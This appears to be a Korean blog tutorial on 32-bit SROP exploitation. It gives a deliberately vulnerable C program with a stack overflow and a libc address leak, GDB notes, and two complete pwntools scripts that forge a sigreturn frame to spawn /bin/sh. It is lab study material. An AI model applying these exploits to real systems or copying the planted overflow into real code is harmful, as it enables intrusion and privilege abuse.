Example
//gcc -m32 -g -o sig32 sig.c
#include <stdio.h>
#include <signal.h>
struct sigcontext sigcontext;
void handle_signal(int signum){
printf("Signal number: %d\n", signum);
}
int main(){
signal(SIGINT, (void *)handle_signal);
while(1) {}
return 0;
}
debugging
- handle_signal()함수에 break point 설정
- handle SIGINT nostop pass: GDB가 interrupt에 반응하지 않도록 설정
- 실행 후 Ctrl+C 눌러 Interrupt 시그널 발생시킴
- bt: handle_signal 함수가 호출되기 전 실행된 함수 목록 확인
(bt(backtrace)명령어: 특정 중단점에서 스택의 정보를 확인할 때 사용하는 명령어; 스택 메모리를 기반으로 표시)
- frame 0: 0번째 frame에서 stack에 저장된 각 레지스터의 값 확인 가능
($1 = 0x0)
($2 = 0xffffd000)
($3 = 0x804847A)
- frame 1: __kernel_sigreturn 함수에서 sys_sigreturn()시스템 함수(0x77) 호출(mov eax, 0x77)
** x86 (32bit)에서 sys_sigreturn 시스템 함수의 번호는 0x77(119) **
- b 12: while(1){ } 위치(라인 12)에 breakpoint 설정
- signal에 대한 처리가 끝난 후 frame 0의 스택에 저장된 값이 레지스터에 저장되어 있음
Proof Of Concept
//gcc -m32 -fno-stack-protector -o srop32 srop32.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
void vuln(){
char buf[50];
void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
printf("Printf() address : %p\n",printf_addr);
read(0, buf, 256);
}
void main(){
seteuid(getuid());
write(1,"Hello SROP\n",10);
vuln();
}
overflow
- break point 설정: vuln()함수 시작 부분, read()함수 호출 전
- esp: 0xffffcffc -> main+59 (0x804862d): nop
- esp: 0xffffcfa0 0x0
0xffffcfba
0x100
- Return Address (0xffffcffc) - buf변수의 시작 주소 (0xffffcfba) = 66 bytes
66개 이상의 문자를 입력함으로써 return address 영역을 덮어 쓸 수 있다
Exploit Method
1. sigreturn()함수를 이용해 레지스터에 필요한 값 저장
- ESP: sigreturn()함수 호출 후 이동할 주소 (return address)("int 0x80"명령어가 저장된 주소)
- EBX: "/bin/sh" 문자열이 저장된 주소
- EAX: execve() 함수의 시스템 콜 번호
- EIP: "int 0x80" 명령어가 저장된 주소
- CS: User Code (=0x23)
- SS: User Data / Stack (0x2b)
2. int 0x80 명령어 실행
//ROP code
sigreturn()
int 0x80
확인할 내용
- Libc Offset: printf, __kernel_sigreturn, "/bin/sh"
- Gadgets: int 0x80
libc offset
- printf(): 0xf7e47680
- libc base = 0xf7dfe000
- print() - libcbase offset = 0x49680
- __kernel_sigreturn() - libcbase offset = 0x1d9ff0
- "/bin/sh" - libcbase offset = 0x15bb0b
__kernel_sigreturn
- 0xf7fd7ff0 (__kernel_sigreturn+0) 주소 사용할 경우
: __kernel_sigreturn() + dummy(4bit) + sigcontext 구조체
"pop eax"명령어가 포함되기 때문에 해당 주소 호출 뒤 임의의 값 4bit 저장해야 함
- 0xf7fd7ff1 (__kernel_sigreturn+1) 주소 사용할 경우
: __kernel_sigreturn() + sigcontext 구조체
"mov eax, 0x77" 명령어 실행, 해당 주소 호출 뒤 바로 sigcontext 구조체 저장해야 함
gadgets
32bit 프로그램이기 때문에 sigreturn 함수를 vdso 영역에서 확인할 수 있다.
CS(Code Segment) & SS(Stack Segment)
리눅스 커널에는 4개의 segment만 존재; Kernel Code, Kernel Data / Stack, User Code, User Data / Stack
공격 코드들은 User Mode에서 실행되기 때문에 Uesr Code, User Data / Stack 값을 사용해야 함
현재 64bit 운영체제를 사용하고 있기 때문에 0x23, 0x2b가 사용된다.
Exploit Code
from pwn import *
binary = ELF('./srop32')
p = process(binary.path)
p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)
#You need to change the value to match the environment you are testing.
libcBase = stackAddr - 0x49680
syscall = libcBase + 0x1d9ff6
binsh = libcBase + 0x15bb0b
ksigreturn = libcBase + 0x1d9ff0
print 'The base address of Libc : ' + hex(libcBase)
print 'Address of syscall gadget : ' + hex(syscall)
print 'Address of string "/bin/sh" : ' + hex(binsh)
print 'Address of sigreturn() : ' + hex(ksigreturn)
exploit = ''
exploit += "\x90" * 66
exploit += p32(ksigreturn)
exploit += p32(0x0)
exploit += p32(0x0) #GS
exploit += p32(0x0) #FS
exploit += p32(0x0) #ES
exploit += p32(0x0) #DS
exploit += p32(0x0) #EDI
exploit += p32(0x0) #ESI
exploit += p32(0x0) #EBP
exploit += p32(syscall) #ESP
exploit += p32(binsh) #EBX
exploit += p32(0x0) #EDX
exploit += p32(0x0) #ECX
exploit += p32(0xb) #EAX
exploit += p32(0x0) #trapno
exploit += p32(0x0) #err
exploit += p32(syscall) #EIP
#Runed a 32bit program in the 64bit operation system.
exploit += p32(0x23) #CS
exploit += p32(0x0) #eflags
exploit += p32(0x0) #esp_atsignal
exploit += p32(0x2b) #SS
p.send(exploit)
p.interactive()
pwntool 사용한 exploit code
from pwn import *
binary = ELF('./srop32')
p = process(binary.path)
p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)
#You need to change the value to match the environment you are testing.
libcBase = stackAddr - 0x49680
ksigreturn = libcBase + 0x1d9ff0
syscall = libcBase + 0x1d9ff6
binsh = libcBase + 0x15bb0b
print 'The base address of Libc : ' + hex(libcBase)
print 'Address of syscall gadget : ' + hex(syscall)
print 'Address of string "/bin/sh" : ' + hex(binsh)
print 'Address of sigreturn() : ' + hex(ksigreturn)
exploit = ''
exploit += "\x90" * 66
exploit += p32(ksigreturn) #ret
exploit += p32(0x0)
#Runed a 32bit program in the 64bit operation system.
frame = SigreturnFrame(kernel='amd64')
#Runed a 32bit program in the 32bit operation system.
#frame = SigreturnFrame(kernel='i386')
frame.eax = 0xb
frame.ebx = binsh
frame.esp = syscall
frame.eip = syscall
exploit += str(frame)
p.send(exploit)
p.interactive()
'System > System Hacking' 카테고리의 다른 글
Return to csu (ft. JIT ROP) (0) | 2020.08.14 |
---|---|
SROP x64 (0) | 2020.07.24 |
SROP (0) | 2020.07.23 |
64bit ROP (0) | 2020.06.14 |
32bit ROP (0) | 2020.06.14 |